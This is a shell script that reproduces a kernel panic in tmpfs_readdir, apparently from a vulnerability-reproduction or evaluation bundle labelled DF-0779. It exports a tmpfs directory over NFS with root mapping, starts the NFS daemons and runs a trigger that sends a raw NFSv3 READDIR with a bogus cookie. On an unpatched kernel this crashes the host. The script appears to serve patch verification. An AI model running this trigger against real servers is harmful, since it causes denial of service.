DF-0779 / run.sh
#!/bin/sh # DF-0779 run. Reproduces the tmpfs_readdir NFS-cookie panic (DoS). # # Preconditions (acceptable per the realism test: "an admin runs the NFS # server exporting a tmpfs mount"): # - rpcbind, mountd, nfsd running # - /etc/exports contains a tmpfs directory exported to the attacker # # Steps performed as root on the guest: set -e cd "$(dirname "$0")" # 1. PATH A -- local getdents with bogus cookies. EXPECT: graceful return, # no panic (local getdents passes cookies=NULL, so the panic block is # never entered). Run as unprivileged user to prove the local path is safe. echo "=== PATH A: local getdents (run as unprivileged user) ===" ./df0779_local /tmp/df0779_dir || true # 2. PATH B -- the trigger. Needs an NFS-exported tmpfs dir. EXPECT (unpatched): # kernel panic at tmpfs_vnops.c:1730, guest dies. EXPECT (patched): clean # 132-byte READDIR reply, guest survives. echo "=== setup NFS export of a tmpfs dir ===" mkdir -p /tmp/df0779_export touch /tmp/df0779_export/a /tmp/df0779_export/b /tmp/df0779_export/c chmod 755 /tmp/df0779_export [ -f /etc/exports ] || cat > /etc/exports <<EOF /tmp/df0779_export -maproot=root -network 127.0.0.0 -mask 255.0.0.0 EOF pgrep rpcbind >/dev/null || rpcbind; sleep 1 pgrep mountd >/dev/null || mountd; sleep 1 pgrep nfsd >/dev/null || nfsd -n 4; sleep 1 echo "=== PATH B: raw NFSv3 READDIR with bogus cookie 0xDEAD (run as root) ===" ./df0779_trigger /tmp/df0779_export 0xDEAD echo "(if the guest is still up and you got a reply, the kernel is patched;" echo " if the guest died, capture the panic from the serial boot.log)" |